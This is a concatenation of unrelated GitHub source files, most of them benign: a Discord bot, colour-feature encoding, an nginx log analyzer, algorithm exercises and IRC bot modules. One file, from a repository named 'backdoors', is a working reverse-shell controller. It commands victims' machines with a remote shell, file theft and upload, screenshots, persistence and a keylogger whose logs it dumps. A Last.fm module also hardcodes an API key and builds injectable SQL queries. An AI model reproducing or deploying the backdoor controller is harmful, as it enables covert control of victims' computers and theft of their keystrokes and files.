right now\", mention_author=False)\n\n\n@bot.command(name=\"say\")\nasync def say(ctx, *, message):\n \"\"\"\n Uses google text to speech to say something in a voice channel\n \"\"\"\n voice_client = ctx.guild.voice_client\n\n if voice_client:\n async with aiohttp.ClientSession() as session:\n gtts = await asyncgTTS.setup(premium=False, session=session)\n tts = await gtts.get(text=message)\n\n with open(\"message.mp3\", \"wb\") as f:\n f.write(tts)\n\n voice_client.play(\n discord.FFmpegPCMAudio(\n executable=\"ffmpeg\", source=\"message.mp3\")\n )\n await ctx.message.add_reaction(\"☑️\")\n\n else:\n await ctx.reply(\"I'm not in a voice channel right now\", mention_author=False)\n\n\n@bot.command(name=\"perlin\")\nasync def perlin(ctx):\n \"\"\"\n Generates random perlin noise\n \"\"\"\n seed = random.randint(-128, 128)\n os.system(f\"./perlin {seed}\")\n\n perlin = Image.open(\"perlin.ppm\")\n perlin.save(\"perlin.png\")\n\n await ctx.send(file=discord.File(\"perlin.png\"))\n\n\n@bot.command(name=\"inrole\")\nasync def inrole(ctx, *, given_role):\n \"\"\"\n Lists members of a given role\n \"\"\"\n members = []\n for member in ctx.guild.members:\n for role in member.roles:\n if (role.name == given_role) or (str(role.id) == given_role):\n members.append(member.name + \"#\" + member.discriminator)\n\n member_list = \"\\n\".join(members)\n if len(member_list) > 1990:\n await ctx.send(\"```Too many members in role```\")\n return\n\n await ctx.send(\"```\" + member_list + \"```\")\n\n\n@bot.command(name=\"sus\")\nasync def sus(ctx):\n \"\"\"\n Very Sus\n \"\"\"\n voice_client = ctx.guild.voice_client\n\n if voice_client:\n voice_client.play(\n await discord.FFmpegOpusAudio.from_probe(\n source=\"sus.mp3\")\n )\n await ctx.message.add_reaction(\"☑️\")\n\n else:\n await ctx.reply(\"I'm not in a voice channel right now\", mention_author=False)\n\n\n# Run the damn thing already\nbot.run(bot.config_token)\n","repo_name":"MysticalApple/Botnobi","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":13421,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"30899707546","text":"import colorsys\nimport numpy as np\nfrom time import time\n\nclass ChannelEncoder:\n def __init__(self,\n nchans=None,\n bounds=None,\n mflag=None,\n cscale=1.0):\n \"\"\"\n\n \"\"\"\n self.mflag = mflag\n self.nchans = nchans\n self.bounds = bounds\n self.cscale = cscale\n self.bfuncwidth = 1.5\n self.d = self.cscale * self.bfuncwidth\n\n if mflag == 0:\n self.fpos = (self.bounds[1] + self.bounds[0] * self.nchans - self.d * (self.bounds[0] + self.bounds[1])) / (self.nchans + 1 - 2 * self.d)\n self.ssc = (self.bounds[1] - self.bounds[0]) / (self.nchans + 1 - 2 * self.d)\n else:\n self.ssc = (self.bounds[1] - self.bounds[0]) / self.nchans\n self.fpos = self.bounds[0]\n\n def basis_cos2(self, x):\n\n c = np.cos(np.pi / 3 * x)\n val = c * c * (np.abs(x) < self.bfuncwidth)\n return val\n\n def basis_bs2(self, x):\n y = (np.abs(x) < 1.0/2.0) * (3.0/4.0 - np.abs(x)**2) + (np.abs(x) >= 1.0/2.0) * (np.abs(x) <= 3.0/2.0) * ((3.0/2.0 - abs(x))**2)/2.0\n return y\n\n ### Encode a value to a channel representation\n def encode(self, x):\n\n #cc = np.zeros((len(x), self.nchans))\n val = (x - self.fpos) / self.ssc + 1\n cpos = np.arange(self.nchans) + 1\n \n cpos = cpos.reshape(1, self.nchans)\n val = val.reshape(len(val),1)\n \n \n if self.mflag:\n ndist = self.nchans / 2.0 - np.abs(np.mod(cpos - val, self.nchans) - self.nchans / 2.0)\n else:\n ndist = np.abs(cpos - val)\n\n \n return self.basis_bs2(ndist)\n\n\ndef generate_1d_channels(feature_map, nch, max_v, min_v, modulo):\n \n not_mod = (1-modulo)\n num_ext_channels = nch + 2*not_mod\n che = ChannelEncoder(num_ext_channels, [min_v, max_v], modulo)\n return che.encode(feature_map) \n\ndef uniform_channel_coding(feature_map, num_channels, modulo):\n\n ### Do this per point...\n cc1 = generate_1d_channels(feature_map[0,:], num_channels, 1.0, 0.0, modulo[0])\n cc2 = generate_1d_channels(feature_map[1,:], num_channels, 1.0, 0.0, modulo[1])\n cc3 = generate_1d_channels(feature_map[2,:], num_channels, 1.0, 0.0, modulo[2])\n\n nmodulo = [1 - m for m in modulo]\n nch1 = num_channels + 2 * nmodulo[0]\n nch2 = num_channels + 2 * nmodulo[1]\n nch3 = num_channels + 2 * nmodulo[2]\n nch = [nch1,nch2,nch3]\n num_points = len(cc1)\n ### compute outer products of channels\n cc1cc2kron = cc2.reshape((len(cc2),nch2, 1)) * cc1.reshape((num_points, 1, nch1))\n tmp = cc1cc2kron.reshape((num_points, 1, nch2, nch1))\n channels = cc3.reshape((num_points, nch3, 1, 1)) * tmp\n\n weights = np.ones((channels.shape[0],num_channels,num_channels,num_channels)) * num_channels * 6.0/5.0\n weights[:,nmodulo[2]:weights.shape[1]-nmodulo[2], nmodulo[1]:weights.shape[2]-nmodulo[1], nmodulo[0]:weights.shape[3]-nmodulo[0]] = num_channels \n channels = channels[:, nmodulo[2]:channels.shape[1]-nmodulo[2], nmodulo[1]:channels.shape[2]-nmodulo[1], nmodulo[0]:channels.shape[3]-nmodulo[0]]\n\n channels = channels * weights * 19.200233330189796\n\n flatt_channels = channels.reshape((channels.shape[0], num_channels**3))\n \n return flatt_channels\n\ndef channel_color_coding_rgb(feature_data, num_channels):\n\n modulo = [0, 0, 0]\n channel_map = np.ndarray(len(feature_data), dtype=object)\n\n for i, feature_map in enumerate(feature_data):\n feature_map = feature_map/255.0\n \n channel_map[i] = uniform_channel_coding(feature_map, num_channels, modulo)\n\n return channel_map\n\ndef channel_color_coding_hsv(feature_data, num_channels):\n\n\n modulo = [1, 0, 0]\n channel_map = np.ndarray(len(feature_data), dtype=object)\n\n for i, feature_map in enumerate(feature_data):\n feature_map = feature_map/255.0\n \n feature_map = [colorsys.rgb_to_hsv(r, g, b) for (r, g, b) in feature_map.transpose()]\n channel_map[i] = uniform_channel_coding(np.array(feature_map).transpose(), num_channels, modulo).astype('float32')\n\n return channel_map\n\ndef get_gamma_color_distr(num_features, K):\n\n color_distr = np.random.gamma(1.0,1.0,size=(num_features,K))\n color_distr_norm = np.sum(color_distr, axis=0)\n color_distr[:, color_distr_norm == 0] = 1.0 # If all are zeros, set to uniform\n color_distr = color_distr / np.sum(color_distr, axis=0)\n return color_distr.astype('float32')\n\ndef get_default_color_distr(num_features, K):\n color_distr = 1.0/num_features * np.ones((num_features, K))\n return color_distr.astype('float32')\n","repo_name":"felja633/DARE","sub_path":"src/color_feature_extraction.py","file_name":"color_feature_extraction.py","file_ext":"py","file_size_in_byte":4650,"program_lang":"python","lang":"en","doc_type":"code","stars":65,"dataset":"github-code","pt":"18"} +{"seq_id":"5501416189","text":"from os import *\nfrom sys import *\nfrom collections import *\nfrom math import *\n\ndef ninjaAndSortedArrays(arr1,arr2,m,n):\n # Write your code here.\n i,j=0,0\n ans=[]\n while i= min_length:\n output.append(substring)\n last_tail = current_tail\n return output\n \n @staticmethod\n def position_subsequences(sequence, start, stop):\n \"\"\"Returns a tuple of list with positions of start and stop substrings respectively.\n \n Key Arguments:\n sequence -- string sequence.\n start -- head of searched substring.\n stop -- tail of searched substring.\n \"\"\"\n pos_start = []\n pos_stop = []\n n_start = len(start)\n n_stop = len(stop)\n for i in range(len(sequence)):\n if sequence[i: i + n_start] == start:\n pos_start.append(i)\n if sequence[i: i + n_stop] == stop:\n pos_stop.append(i + n_stop - 1) # index of right limit\n return pos_start, pos_stop\n","repo_name":"Mirindi95/PrIDcon","sub_path":"pridcon/contig.py","file_name":"contig.py","file_ext":"py","file_size_in_byte":7024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31866668490","text":"import argparse\nfrom collections import defaultdict, namedtuple\nfrom datetime import datetime\nimport gzip\nimport json\nimport logging\nfrom operator import itemgetter\nimport pathlib\nimport re\nfrom statistics import median\n\n\nDEFAULT_CONFIG_PATH = './config.json'\n\"\"\"Default configuration file path\"\"\"\nDEFAULT_CONFIG = {\n 'REPORT_SIZE': 1000,\n 'REPORT_DIR': './reports',\n 'LOG_DIR': './log',\n 'LOG_FILE': None,\n 'ERROR_PERCENT': 10,\n}\n\"\"\"Program default configuration\"\"\"\nLOG_FILE_MASK = re.compile(r'^nginx-access-ui\\.log-(\\d{8})(\\.gz)?$')\n\"\"\"Log file name pattern\"\"\"\nLOG_LINE_MASK = re.compile(\n r'([\\d\\.]+)\\s'\n r'(\\S*)\\s+'\n r'(\\S*)\\s'\n r'\\[(.*?)\\]\\s'\n r'\"(.*?)\"\\s'\n r'(\\d+)\\s'\n r'(\\S*)\\s'\n r'\"(.*?)\"\\s'\n r'\"(.*?)\"\\s'\n r'\"(.*?)\"\\s'\n r'\"(.*?)\"\\s'\n r'\"(.*?)\"\\s'\n r'(\\d+\\.\\d+)\\s*'\n)\n\"\"\"\nLog file correct line pattern\nLine structure:\n```\n$remote_addr\n$remote_user\n$http_x_real_ip\n[$time_local]\n\"$request\"\n$status\n$body_bytes_sent\n\"$http_referer\"\n\"$http_user_agent\"\n\"$http_x_forwarded_for\"\n\"$http_X_REQUEST_ID\"\n\"$http_X_RB_USER\"\n$request_time\n```\n\"\"\"\nLogFile = namedtuple('LogFile', ['path', 'date', 'ext'])\n\"\"\"Log file data structure\"\"\"\nLogLine = namedtuple('LogLine', ['url', 'request_time'])\n\"\"\"Log file line data structure\"\"\"\n\n\ndef get_config_path():\n \"\"\"\n Get program configuration file path (from program arguments or from default settings)\n\n Returns:\n str: Configuration file path\n \"\"\"\n parser = argparse.ArgumentParser(description='Log Analyzer')\n parser.add_argument('-c', '--config', help='Path to config file')\n args = parser.parse_args()\n\n config_path = args.config if args.config else DEFAULT_CONFIG_PATH\n return config_path\n\n\ndef load_config():\n \"\"\"\n Load program configuration and concatenate with default config\n\n Returns:\n dict: Program configuration\n\n Raises:\n TypeError: If configuration is not a dictionary\n \"\"\"\n config_path = get_config_path()\n with open(config_path, 'r') as f:\n config = json.load(f)\n\n if not isinstance(config, dict):\n raise TypeError('Configuration is not a dictionary')\n return {\n **DEFAULT_CONFIG,\n **config\n }\n\n\ndef setup_logger(log_path):\n \"\"\"\n Setup logger configuration - to file if `LOG_FILE` is set, else - to stdout\n\n Args:\n log_path (str): Log file path\n \"\"\"\n logging.basicConfig(filename=log_path,\n level=logging.INFO,\n format='[%(asctime)s] %(levelname).1s %(message)s',\n datefmt='%Y.%m.%d %H:%M:%S')\n\n\ndef get_latest_log_file(log_dir):\n \"\"\"\n Find latest (with biggest date in name) log file\n\n Args:\n log_dir (pathlib.Path): Log files directory path\n\n Returns:\n LogFile: Log file\n\n Raises:\n FileNotFoundError: If log directory does not exists or is not directory\n \"\"\"\n if not (log_dir.exists() and log_dir.is_dir()):\n raise FileNotFoundError('Log directory does not exists')\n\n log_file = None\n for path in log_dir.iterdir():\n matches = re.findall(LOG_FILE_MASK, path.name)\n if not matches:\n continue\n date, ext = matches[0]\n\n try:\n log_date = datetime.strptime(date, '%Y%m%d').date()\n except ValueError:\n continue\n\n if not log_file or log_file.date < log_date:\n log_file = LogFile(path, log_date, ext)\n\n return log_file\n\n\ndef get_report_path(log_file, report_dir):\n \"\"\"\n Generate report file path\n\n Args:\n log_file (LogFile): Log file\n report_dir (pathlib.Path): Report directory path\n\n Returns:\n pathlib.Path: Report file path\n\n Raises:\n FileNotFoundError: If report directory does not exists or is not directory\n \"\"\"\n if not report_dir.exists() or not report_dir.is_dir():\n raise FileNotFoundError('Report directory does not exists')\n\n report_date = log_file.date.strftime('%Y.%m.%d')\n report_path = report_dir.joinpath('report-{}.html'.format(report_date))\n return report_path\n\n\ndef parse_line(line):\n \"\"\"\n Parse log file single line\n\n Args:\n line (str): Log file line\n\n Returns:\n LogLine: Request data\n \"\"\"\n match = LOG_LINE_MASK.findall(line)\n if not match:\n return None\n\n url = match[0][4]\n request_time = match[0][-1]\n if not (url and request_time):\n return None\n return LogLine(url, float(request_time))\n\n\ndef parse_log_file(log_file):\n \"\"\"\n Parse log file and extract information about requests line by line\n\n Args:\n log_file (LogFile): Log file\n\n Returns:\n LogLine: Single request data\n \"\"\"\n if log_file.ext == '.gz':\n f = gzip.open(log_file.path.absolute(), 'rt')\n else:\n f = open(str(log_file.path), encoding='utf-8')\n\n with f:\n for line in f:\n yield parse_line(line)\n\n\ndef extract_info_from_file(log_file, error_percent):\n \"\"\"\n Extract information about requests from log file\n\n Args:\n log_file (LogFile): Log file\n error_percent (float): Error max percent\n\n Returns:\n dict: Request data\n\n Raises:\n ValueError: If log errors limit was exceeded\n \"\"\"\n lines = 0\n fails = 0\n requests = defaultdict(list)\n for request in parse_log_file(log_file):\n lines += 1\n if request:\n requests[request.url].append(request.request_time)\n else:\n fails += 1\n\n # Check error percentage\n errors = 100 * fails / lines\n if errors > error_percent:\n raise ValueError('Log errors limit was exceeded. Error percent {}% more than {}%'.format(\n errors, error_percent\n ))\n return requests\n\n\ndef prepare_report_data(requests, report_size):\n \"\"\"\n Process request statistics and generate report data\n\n Args:\n requests (dict) :\n report_size (int): Maximum report size\n\n Returns:\n List: Report data\n \"\"\"\n total_count = 0\n total_time = 0.0\n for request_times in requests.values():\n total_count += len(request_times)\n total_time += sum(request_times)\n\n report_data = []\n for url, request_times in requests.items():\n request_count = len(request_times)\n request_time = sum(request_times)\n report_data.append({\n 'url': url,\n 'count': request_count,\n 'count_perc': round(100.0 * request_count / float(total_count), 3),\n 'time_sum': round(sum(request_times), 3),\n 'time_perc': round(100.0 * request_time / total_time, 3),\n 'time_avg': round(request_time / request_count, 3),\n 'time_max': round(max(request_times), 3),\n 'time_med': round(median(request_times), 3),\n })\n report_data = sorted(report_data, key=itemgetter('time_sum'), reverse=True)\n report_data = report_data[:report_size]\n\n return report_data\n\n\ndef create_report(report_data, report_dir, log_date):\n \"\"\"\n Save report data to HTML file\n\n Args:\n report_data (list): Report data\n report_dir (pathlib.Path): Report directory path\n log_date (datetime.date): Log file data\n\n Returns:\n pathlib.Path: Report file path\n \"\"\"\n report_date = log_date.strftime('%Y.%m.%d')\n report_path = report_dir.joinpath('report-{}.html'.format(report_date))\n\n with open('report.html', 'r', encoding='utf-8') as f:\n template = f.read()\n template = template.replace('$table_json', json.dumps(report_data))\n with open(str(report_path), 'w', encoding='utf-8') as f:\n f.write(template)\n\n return report_path\n\n\ndef main():\n config = load_config()\n setup_logger(config.get('LOG_FILE'))\n\n # 1. Get log file instance\n log_dir = pathlib.Path(config.get('LOG_DIR'))\n log_file = get_latest_log_file(log_dir)\n if not log_file:\n logging.info('No logs in \"{}\"'.format(log_file))\n return\n\n # 2. Get report file path\n report_dir = pathlib.Path(config.get('REPORT_DIR'))\n report_path = get_report_path(log_file, report_dir)\n if report_path.exists():\n logging.info('Report for \"{}\" already exists'.format(log_file.date))\n return\n\n # 3. Extract logs and create report\n requests = extract_info_from_file(log_file, config.get('ERROR_PERCENT'))\n report_data = prepare_report_data(requests, config.get('REPORT_SIZE'))\n report_path = create_report(report_data, report_dir, log_file.date)\n\n logging.info('Report \"{}\" from file \"{}\" was created successfully'.format(\n report_path, log_file.path\n ))\n\n\nif __name__ == '__main__':\n try:\n main()\n except Exception as e:\n logging.exception(e)\n","repo_name":"dmryutov/otus-python-0319","sub_path":"hw01/log_analyzer/log_analyzer.py","file_name":"log_analyzer.py","file_ext":"py","file_size_in_byte":8716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9709262235","text":"class Solution:\n def grayCode(self, n):\n res = self.grayCode_core(n)\n print(res)\n for i in range(len(res)):\n res[i] = int(res[i], 2)\n\n return res\n def grayCode_core(self, n):\n \"\"\"\n :type n: int\n :rtype: List[int]\n \"\"\"\n \"\"\"格雷码的构造规则,n+1位的格雷码= 0+n位格雷码+ 1+n位逆序的格雷码\"\"\"\n res = []\n if n == 0:\n res = ['0']\n elif n == 1:\n res = ['0', '1']\n else:\n pre = self.grayCode_core(n - 1)\n res = ['0' + x for x in pre] + ['1' + x for x in pre[::-1]]\n\n return res\n\nsolution = Solution()\nprint(solution.grayCode(3))","repo_name":"cainingning/leetcode","sub_path":"tuter_start/89_backtrack.py","file_name":"89_backtrack.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"35499182447","text":"import sys\nimport time\nimport contest.capture\n\nif __name__ == '__main__':\n \"\"\"\n The main function called when pacman.py is run from the command line:\n > python capture.py\n \n See the usage string for more details.\n > python capture.py --help\n \"\"\"\n start_time = time.time()\n options = contest.capture.read_command(sys.argv[1:]) # Get game components based on input\n print(options)\n\n games = contest.capture.run_games(**options)\n\n if games:\n contest.capture.save_score(games=games[0], contest_name=options['contest_name'], match_id=options['game_id'])\n print('\\nTotal Time Game: %s' % round(time.time() - start_time, 0))\n\n","repo_name":"aig-upf/pacman-contest","sub_path":"runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"32780431902","text":"from rest_framework.serializers import HyperlinkedModelSerializer \n\nfrom .models import Notification\nfrom User.Serializer import UserSerializer\n# Serializers define the API representation.\n\n\nclass NotificationSerializer(HyperlinkedModelSerializer):\n user = UserSerializer(many= False)\n class Meta:\n model = Notification\n fields = [\n \"url\",\n \"id\",\n \"user\",\n \"meassage\",\n \"created_date\",\n \"last_updated\",\n \"slug\",\n ]\n\n","repo_name":"shady-elnady/cook","sub_path":"Notification/Serializer.py","file_name":"Serializer.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30953050343","text":"'''\nEscreva a função remove_repetidos que recebe como parâmetro uma lista com números inteiros, verifica se tal lista possui elementos repetidos e os remove. A função deve devolver uma lista correspondente à primeira lista, sem elementos repetidos. A lista devolvida deve estar ordenada.\n'''\n\n#Definindo função:\ndef remove_repetidos(lista):\n\n #Criando lista pare receber o valor da lista sem as repetições:\n lista_sem_repetir = []\n\n #Comando para percorrer toda a lista:\n for i in lista:\n\n #Caso o item não esteja na lista criada \"lista_sem_repetir\" será adicionada em tal:\n if i not in lista_sem_repetir:\n\n #Adicionando item que não estava na lista:\n lista_sem_repetir.append(i)\n \n #Comando para organizar a lista em ordem crescente:\n lista_sem_repetir.sort()\n return lista_sem_repetir\n","repo_name":"PedroSantana2/curso-ciencia-da-computacao-usp","sub_path":"USP/008_OitavaSemana_USP/remove_repetidos.py","file_name":"remove_repetidos.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"40171091141","text":"# coding: utf-8\n\nn = int(input())\nscore = list(map(int, input().split()))\n\nm = max(score)\nfor i in range(n):\n score[i] = score[i]/m * 100\n\nprint(\"{:.2f}\".format(sum(score)/n))\n\n","repo_name":"lee-seul/baekjoon","sub_path":"1546.py","file_name":"1546.py","file_ext":"py","file_size_in_byte":180,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"38868074062","text":"#!/usr/bin/python\n# -*- coding:utf-8 -*-\n# Author:ChenXuhan\nfrom CACR.dbConfig import *\n\n\ndef connectDB():\n con = pymysql.connect(**dbcfg)\n # print(\"Connected to database successfully.\")\n return con\n\n\ndef executeSQL(con, sqlstr):\n cur = con.cursor()\n cur.execute(sqlstr)\n rows = cur.fetchall()\n return rows\n\n\ndef connectTest():\n try:\n con = connectDB()\n sqlstr = \"INSERT INTO ques_tags (tagId,quesId) VALUES(3,4);\"\n # sqlstr = 'select * from answers2 limit 5;'\n answers = executeSQL(con, sqlstr)\n for row in answers:\n print(row)\n except Exception as e:\n print(\"Execution was failed.\")\n print(e)\n finally:\n if con:\n con.close()\n\n\nif __name__ == '__main__':\n connectTest()","repo_name":"ChenXuhan/Competition-Aware-Crowdsourcing","sub_path":"CACR/FeatureSklearn/ConnectDB.py","file_name":"ConnectDB.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3120572605","text":"#!/usr/bin/python\nimport base64\nimport socket\nimport json\nfrom datetime import datetime\n\nhost = (\"127.0.0.1\", 6666)\ns = None\ntarget = None\nip = None\n\n\ndef shell():\n while True:\n cmd = input(\"* Shell#~%s: \" % str(ip))\n if cmd == \"exit\":\n reliable_send(\"exit\")\n print(reliable_recv())\n s.close()\n return\n elif cmd.startswith(\"help\"):\n print('Available functions:'\n '\\n- cd {path} => change host directory'\n '\\n- download {file} => Download a file from host'\n '\\n- upload {file} => Upload a file to the host'\n '\\n- persistence => Try acquiring persistence'\n '\\n- get {url} => Download a remote file'\n '\\n- isadmin => Check user privileges'\n '\\n- keylogger start|dump|stop => start the keylogger|dump the log keylog|stop the keylogger'\n '\\n- exit => quit the service')\n elif cmd.startswith(\"cd\") and len(cmd) > 1:\n reliable_send(cmd)\n elif cmd.startswith(\"download\"):\n reliable_send(cmd)\n download(cmd[9:])\n elif cmd.startswith(\"upload\"):\n reliable_send(cmd)\n upload(cmd[7:])\n elif cmd.startswith(\"screenshot\"):\n reliable_send(cmd)\n download(\"capture.png\")\n elif cmd.startswith(\"keylogger\"):\n keylogger(cmd)\n else:\n reliable_send(cmd)\n print(reliable_recv())\n\n\ndef server():\n global s, target, ip\n # AF_INET=ipv4\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n s.bind(host)\n s.listen(5) # specify the n of connection to accept\n print(\"Listening to incoming connections...\")\n target, ip = s.accept()\n print(\"Target Connected\")\n\n\ndef reliable_send(data):\n json_data = json.dumps(data).encode()\n target.send(json_data)\n\n\ndef reliable_recv():\n json_data = bytearray()\n while True:\n try:\n json_data = json_data + target.recv(1024)\n return json.loads(json_data.decode())\n except ValueError:\n continue\n except Exception as e:\n print(e)\n\n\ndef download(filename):\n \"\"\"\n Download a file from victim host\n :param filename:\n :return:\n \"\"\"\n try:\n with open(filename, \"wb\") as file:\n result = reliable_recv()\n # convert result from string to bytes, then decode b64\n result_decoded = base64.b64decode(result.encode())\n file.write(result_decoded)\n file.close()\n except Exception as e:\n print(e)\n\n\ndef upload(filename):\n \"\"\"\n Upload a file to victim host\n :param filename:\n :return:\n \"\"\"\n try:\n with open(filename, \"rb\") as file:\n # read bytes\n b64 = base64.b64encode(file.read())\n # convert to string\n string = b64.decode()\n reliable_send(string)\n print(reliable_recv())\n except Exception as e:\n print(e)\n\n\ndef keylogger(cmd):\n try:\n c = cmd[10:]\n if c.startswith(\"dump\"):\n reliable_send(cmd)\n keylogs = reliable_recv()\n if keylogs.startswith(\"[!!] \"):\n print(keylogs)\n return\n with open(\"keylogdump.txt\", \"a\") as file:\n now = datetime.now()\n file.write(\"\\n----------- Log date: \" + str(now) + \"-----------\\n\")\n file.write(keylogs)\n file.close()\n else:\n reliable_send(cmd)\n print(reliable_recv())\n except Exception as e:\n print(e)\n\n\nif __name__ == '__main__':\n server()\n shell()\n","repo_name":"bara96/backdoors","sub_path":"reverse_shell/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3783,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"74091878440","text":"##Lastfm module created by hlmtre##\n\nimport json\nimport sys\nif sys.version_info > (3, 0, 0):\n import urllib.request\n import urllib.error\n import urllib.parse\n try:\n from .basemodule import BaseModule\n except (ImportError, SystemError):\n from modules.basemodule import BaseModule\nelse:\n import urllib2 as urllib\n try:\n from basemodule import BaseModule\n except (ImportError, SystemError):\n from modules.basemodule import BaseModule\n\nfrom event import Event\n\n\nclass LastFM(BaseModule):\n\n def post_init(self):\n lastfm = Event(\"__.lastfm__\")\n lastfm.define(msg_definition=r\"^\\.lastfm\")\n lastfm.subscribe(self)\n self.help = \".lastfm add then .lastfm\"\n\n # register ourself to our new custom event\n self.bot.register_event(lastfm, self)\n\n def handle(self, event):\n msg = event.line.rsplit(\":\")[-1]\n # replace username in db if their nick already exists; otherwise insert\n # new row\n if msg.startswith(\".lastfm add\"):\n lastfm_username = msg.split()[-1]\n try:\n self.bot.db.e(\n \"REPLACE INTO lastfm (lastfm_username, nick) VALUES ('\" +\n lastfm_username +\n \"', '\" +\n event.user +\n \"')\")\n except Exception as e:\n print(e)\n elif msg.startswith(\".lastfm\"):\n try:\n # go get it\n username = self.bot.db.e(\n \"SELECT lastfm_username FROM lastfm WHERE nick = '\" +\n event.user +\n \"'\")[0][0]\n api_key = \"80688df02fc5af99f1ed97b5f667f0c4\"\n url = \"http://ws.audioscrobbler.com/2.0/?method=user.getrecenttracks&user=\" + \\\n username + \"&api_key=\" + api_key + \"&format=json\"\n if sys.version_info > (\n 3, 0, 0): # py3 has requests built in, and incorporated urllib functions\n response = urllib.request.urlopen(url)\n else:\n response = urllib.urlopen(url)\n text = response.read()\n j = json.loads(text.decode())\n if \"@attr\" in j[\"recenttracks\"][\"track\"][0]:\n if j[\"recenttracks\"][\"track\"][0][\"@attr\"][\"nowplaying\"] == \"true\":\n output = j[\"recenttracks\"][\"track\"][0]['artist']['#text'] + \\\n \" - \" + j[\"recenttracks\"][\"track\"][0]['name']\n self.say(\n event.channel,\n event.user +\n \" is now playing: \" +\n output) # What you are currently listening to\n else:\n output = j[\"recenttracks\"][\"track\"][0]['artist']['#text'] + \\\n \" - \" + j[\"recenttracks\"][\"track\"][0]['name']\n # If not listening anymore, what you were listening to\n self.say(\n event.channel,\n event.user +\n \" recently played: \" +\n output)\n\n except IndexError as e:\n print(e)\n self.say(event.channel, \"no lastfm username for \" + event.user)\n","repo_name":"hlmtre/pybot","sub_path":"modules/lastfm.py","file_name":"lastfm.py","file_ext":"py","file_size_in_byte":3388,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"18"} +{"seq_id":"41082551830","text":"class Node(object):\n\n def __init__(self, item):\n self.elem = item\n self.l_child = None\n self.r_child = None\n\n\nclass Tree(object):\n\n def __init__(self):\n self.root = None\n\n def add(self, item):\n node = Node(item)\n if self.root is None:\n self.root = node\n return\n queue = [self.root]\n while queue:\n cur_node = queue.pop(0)\n\n if cur_node.l_child is None:\n cur_node.l_child = node\n return\n else:\n queue.append(cur_node.l_child)\n\n if cur_node.r_child is None:\n cur_node.r_child = node\n return\n else:\n queue.append(cur_node.r_child)\n\n def breadth_travel(self):\n \"\"\"广度遍历\"\"\"\n if self.root is None:\n return\n queue = [self.root]\n while queue:\n cur_node = queue.pop(0)\n print(cur_node.elem, end=\" \")\n if cur_node.l_child is not None:\n queue.append(cur_node.l_child)\n if cur_node.r_child is not None:\n queue.append(cur_node.r_child)\n\n def pre_order(self, node):\n \"\"\"先序遍历\"\"\"\n if node is None:\n return\n print(node.elem, end=\" \")\n self.pre_order(node.l_child)\n self.pre_order(node.r_child)\n\n def in_order(self, node):\n \"\"\"中序遍历\"\"\"\n if node is None:\n return\n self.in_order(node.l_child)\n print(node.elem, end=\" \")\n self.in_order(node.r_child)\n\n def post_order(self, node):\n \"\"\"后序遍历\"\"\"\n if node is None:\n return\n self.post_order(node.l_child)\n self.post_order(node.r_child)\n print(node.elem, end=\" \")\n\n\nif __name__ == '__main__':\n tree = Tree()\n tree.add(0)\n tree.add(1)\n tree.add(2)\n tree.add(3)\n tree.add(4)\n tree.add(5)\n tree.add(6)\n tree.add(7)\n tree.add(8)\n tree.add(9)\n print(\"####### 层级 ########\")\n tree.breadth_travel()\n print()\n print(\"####### 前序 ########\")\n tree.pre_order(tree.root)\n print()\n print(\"####### 中序 ########\")\n tree.in_order(tree.root)\n print()\n print(\"####### 后序 ########\")\n tree.post_order(tree.root)","repo_name":"Ziyear/python_learn","sub_path":"day_08_数据结构和算法/17.二叉树.py","file_name":"17.二叉树.py","file_ext":"py","file_size_in_byte":2316,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"24479180501","text":"from .shodan_dns import shodan_dns\n\n\nclass securitytrails(shodan_dns):\n\n watched_events = [\"DNS_NAME\"]\n produced_events = [\"DNS_NAME\"]\n flags = [\"subdomain-enum\", \"passive\", \"safe\"]\n meta = {\"description\": \"Query the SecurityTrails API for subdomains\", \"auth_required\": True}\n options = {\"api_key\": \"\"}\n options_desc = {\"api_key\": \"SecurityTrails API key\"}\n\n base_url = \"https://api.securitytrails.com/v1\"\n\n def setup(self):\n self.limit = 100\n return super().setup()\n\n def ping(self):\n r = self.helpers.request(f\"{self.base_url}/ping?apikey={self.api_key}\")\n resp_content = getattr(r, \"text\", \"\")\n assert getattr(r, \"status_code\", 0) == 200, resp_content\n\n def query(self, query):\n url = f\"{self.base_url}/domain/{query}/subdomains?apikey={self.api_key}\"\n r = self.helpers.request(url)\n try:\n j = r.json()\n if type(j) == dict:\n for host in j.get(\"subdomains\", []):\n yield f\"{host}.{query}\"\n else:\n self.debug(f'No results for \"{query}\"')\n except Exception:\n import traceback\n\n self.warning(f'Error retrieving subdomains for \"{query}\"')\n self.debug(traceback.format_exc())\n","repo_name":"melroy89/venom","sub_path":"osint/bbot/bbot/modules/securitytrails.py","file_name":"securitytrails.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13880362690","text":"from com.mvc.app import App\nfrom com.mvc.model.modellocator import ModelLocator\nfrom 